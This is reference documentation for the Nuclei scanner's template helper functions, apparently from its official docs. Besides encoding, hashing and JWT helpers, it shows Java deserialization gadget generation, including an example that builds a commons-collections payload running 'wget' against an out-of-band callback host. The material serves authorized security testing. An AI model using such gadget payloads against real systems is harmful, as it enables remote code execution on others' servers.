Helper functions

Here is the list of all supported helper functions can be used in the RAW requests / Network requests.

Helper functionDescriptionExampleOutput
aes_gcm(key, plaintext interface) []byteAES GCM encrypts a string with key{{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}ec183a153b8e8ae7925beed74728534b57a60920c0b009eaa7608a34e06325804c096d7eebccddea3e5ed6c4
base64(src interface) stringBase64 encodes a stringbase64("Hello")SGVsbG8=
base64_decode(src interface) []byteBase64 decodes a stringbase64_decode("SGVsbG8=")Hello
base64_py(src interface) stringEncodes string to base64 like python (with new lines)base64_py("Hello")SGVsbG8=\n
bin_to_dec(binaryNumber number | string) float64Transforms the input binary number into a decimal formatbin_to_dec("0b1010")<br>bin_to_dec(1010)10
compare_versions(versionToCheck string, constraints …string) boolCompares the first version argument with the provided constraintscompare_versions('v1.0.0', '\>v0.0.1', '\<v1.0.1')true
concat(arguments …interface) stringConcatenates the given number of arguments to form a stringconcat("Hello", 123, "world)Hello123world
contains(input, substring interface) boolVerifies if a string contains a substringcontains("Hello", "lo")true
contains_all(input interface, substrings …string) boolVerifies if any input contains all of the substringscontains("Hello everyone", "lo", "every")true
contains_any(input interface, substrings …string) boolVerifies if an input contains any of substringscontains("Hello everyone", "abc", "llo")true
date_time(dateTimeFormat string, optionalUnixTime interface) stringReturns the formatted date time using simplified or go style layout for the current or the given unix timedate_time("%Y-%M-%D %H:%m")<br>date_time("%Y-%M-%D %H:%m", 1654870680)<br>date_time("2006-01-02 15:04", unix_time())2022-06-10 14:18
dec_to_hex(number number | string) stringTransforms the input number into hexadecimal formatdec_to_hex(7001)"1b59
ends_with(str string, suffix …string) boolChecks if the string ends with any of the provided substringsends_with("Hello", "lo")true
generate_java_gadget(gadget, cmd, encoding interface) stringGenerates a Java Deserialization Gadgetgenerate_java_gadget("dns", "{{interactsh-url}}", "base64")rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54
generate_jwt(json, algorithm, signature, unixMaxAge) []byteGenerates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithmgenerate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U
gzip(input string) stringCompresses the input using GZipbase64(gzip("Hello"))+H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA=
gzip_decode(input string) stringDecompresses the input using GZipgzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))Hello
hex_decode(input interface) []byteHex decodes the given inputhex_decode("6161")aa
hex_encode(input interface) stringHex encodes the given inputhex_encode("aa")6161
hex_to_dec(hexNumber number | string) float64Transforms the input hexadecimal number into decimal formathex_to_dec("ff")<br>hex_to_dec("0xff")255
hmac(algorithm, data, secret) stringhmac function that accepts a hashing function type with data and secrethmac("sha1", "test", "scrt")8856b111056d946d5c6c92a21b43c233596623c6
html_escape(input interface) stringHTML escapes the given inputhtml_escape("\<body\>test\</body\>")&lt;body&gt;test&lt;/body&gt;
html_unescape(input interface) stringHTML un-escapes the given inputhtml_unescape("&lt;body&gt;test&lt;/body&gt;")\<body\>test\</body\>
join(separator string, elements …interface) stringJoins the given elements using the specified separatorjoin("_", 123, "hello", "world")123_hello_world
json_minify(json) stringMinifies a JSON string by removing unnecessary whitespacejson_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }"){"foo":"bar","name":"John Doe"}
json_prettify(json) stringPrettifies a JSON string by adding indentationjson_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}"){\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}
len(arg interface) intReturns the length of the inputlen("Hello")5
line_ends_with(str string, suffix …string) boolChecks if any line of the string ends with any of the provided substringsline_ends_with("Hello\nHi", "lo")true
line_starts_with(str string, prefix …string) boolChecks if any line of the string starts with any of the provided substringsline_starts_with("Hi\nHello", "He")true
md5(input interface) stringCalculates the MD5 (Message Digest) hash of the inputmd5("Hello")8b1a9953c4611296a827abf8c47804d7
mmh3(input interface) stringCalculates the MMH3 (MurmurHash3) hash of an inputmmh3("Hello")316307400
oct_to_dec(octalNumber number | string) float64Transforms the input octal number into a decimal formatoct_to_dec("0o1234567")<br>oct_to_dec(1234567)342391
print_debug(args …interface)Prints the value of a given input or expression. Used for debugging.print_debug(1+2, "Hello")3 Hello
rand_base(length uint, optionalCharSet string) stringGenerates a random sequence of given length string from an optional charset (defaults to letters and numbers)rand_base(5, "abc")caccb
rand_char(optionalCharSet string) stringGenerates a random character from an optional character set (defaults to letters and numbers)rand_char("abc")a
rand_int(optionalMin, optionalMax uint) intGenerates a random integer between the given optional limits (defaults to 0 - MaxInt32)rand_int(1, 10)6
rand_text_alpha(length uint, optionalBadChars string) stringGenerates a random string of letters, of given length, excluding the optional cutset charactersrand_text_alpha(10, "abc")WKozhjJWlJ
rand_text_alphanumeric(length uint, optionalBadChars string) stringGenerates a random alphanumeric string, of given length without the optional cutset charactersrand_text_alphanumeric(10, "ab12")NthI0IiY8r
rand_ip(cidr …string) stringGenerates a random IP addressrand_ip("")
rand_text_numeric(length uint, optionalBadNumbers string) stringGenerates a random numeric string of given length without the optional set of undesired numbersrand_text_numeric(10, 123)0654087985
regex(pattern, input string) boolTests the given regular expression against the input stringregex("H([a-z]+)o", "Hello")true
remove_bad_chars(input, cutset interface) stringRemoves the desired characters from the inputremove_bad_chars("abcd", "bc")ad
repeat(str string, count uint) stringRepeats the input string the given amount of timesrepeat("../", 5)../../../../../
replace(str, old, new string) stringReplaces a given substring in the given inputreplace("Hello", "He", "Ha")Hallo
replace_regex(source, regex, replacement string) stringReplaces substrings matching the given regular expression in the inputreplace_regex("He123llo", "(\\d+)", "")Hello
reverse(input string) stringReverses the given inputreverse("abc")cba
sha1(input interface) stringCalculates the SHA1 (Secure Hash 1) hash of the inputsha1("Hello")f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0
sha256(input interface) stringCalculates the SHA256 (Secure Hash 256) hash of the inputsha256("Hello")185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969
starts_with(str string, prefix …string) boolChecks if the string starts with any of the provided substringsstarts_with("Hello", "He")true
to_lower(input string) stringTransforms the input into lowercase charactersto_lower("HELLO")hello
to_unix_time(input string, layout string) intParses a string date time using default or user given layouts, then returns its Unix timestampto_unix_time("2022-01-13T16:30:10+00:00")<br>to_unix_time("2022-01-13 16:30:10")<br>to_unix_time("13-01-2022 16:30:10". "02-01-2006 15:04:05")1642091410
to_upper(input string) stringTransforms the input into uppercase charactersto_upper("hello")HELLO
trim(input, cutset string) stringReturns a slice of the input with all leading and trailing Unicode code points contained in cutset removedtrim("aaaHelloddd", "ad")Hello
trim_left(input, cutset string) stringReturns a slice of the input with all leading Unicode code points contained in cutset removedtrim_left("aaaHelloddd", "ad")Helloddd
trim_prefix(input, prefix string) stringReturns the input without the provided leading prefix stringtrim_prefix("aaHelloaa", "aa")Helloaa
trim_right(input, cutset string) stringReturns a string, with all trailing Unicode code points contained in cutset removedtrim_right("aaaHelloddd", "ad")aaaHello
trim_space(input string) stringReturns a string, with all leading and trailing white space removed, as defined by Unicodetrim_space(" Hello ")"Hello"
trim_suffix(input, suffix string) stringReturns input without the provided trailing suffix stringtrim_suffix("aaHelloaa", "aa")aaHello
unix_time(optionalSeconds uint) float64Returns the current Unix time (number of seconds elapsed since January 1, 1970 UTC) with the added optional secondsunix_time(10)1639568278
url_decode(input string) stringURL decodes the input stringurl_decode("")
url_encode(input string) stringURL encodes the input stringurl_encode("")
wait_for(seconds uint)Pauses the execution for the given amount of secondswait_for(10)true
zlib(input string) stringCompresses the input using Zlibbase64(zlib("Hello"))eJzySM3JyQcEAAD//wWMAfU=
zlib_decode(input string) stringDecompresses the input using Zlibzlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))Hello
resolve(host string, format string) stringResolves a host using a dns type that you defineresolve("localhost",4)
ip_format(ip string, format string) stringIt takes an input ip and converts it to another format according to this legend, the second parameter indicates the conversion index and must be between 1 and 11ip_format("", 3)0177.0.0.01

Deserialization helper functions

Nuclei allows payload generation for a few common gadget from ysoserial.

Supported Payload:

  • dns (URLDNS)
  • commons-collections3.1
  • commons-collections4.0
  • jdk7u21
  • jdk8u20
  • groovy1

Supported encodings:

  • base64 (default)
  • gzip-base64
  • gzip
  • hex
  • raw

Deserialization helper function format:

{{generate_java_gadget(payload, cmd, encoding}}

Deserialization helper function example:

{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}

JSON helper functions

Nuclei allows manipulate JSON strings in different ways, here is a list of its functions:

  • generate_jwt, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm.
  • json_minify, to minifies a JSON string by removing unnecessary whitespace.
  • json_prettify, to prettifies a JSON string by adding indentation.



To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, at least.

Here is a list of supported algorithms for generating JWTs with generate_jwt function (case-insensitive):

  • HS256
  • HS384
  • HS512
  • RS256
  • RS384
  • RS512
  • PS256
  • PS384
  • PS512
  • ES256
  • ES384
  • ES512
  • EdDSA
  • NONE

Empty string ("") also means NONE.


{{generate_jwt(json, algorithm, signature, maxAgeUnix)}}

Arguments other than json are optional.


  json: | # required
      "foo": "bar",
      "name": "John Doe"
  alg: "HS256" # optional
  sig: "this_is_secret" # optional
  age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # optional
  jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}'

The maxAgeUnix argument is to set the expiration "exp" JWT standard claim, as well as the "iat" claim when you call the function.





  json: |
      "foo": "bar",
      "name": "John Doe"
  minify: '{{json_minify(json}}'

minify variable output:

{"foo":"bar","name":"John Doe"}





  json: '{"foo":"bar","name":"John Doe"}'
  pretty: '{{json_prettify(json}}'

pretty variable output:

  "foo": "bar",
  "name": "John Doe"




Here is a list of formats available for dns type:

  • 4 or a
  • 6 or aaaa
  • cname
  • ns
  • txt
  • srv
  • ptr
  • mx
  • soa
  • caa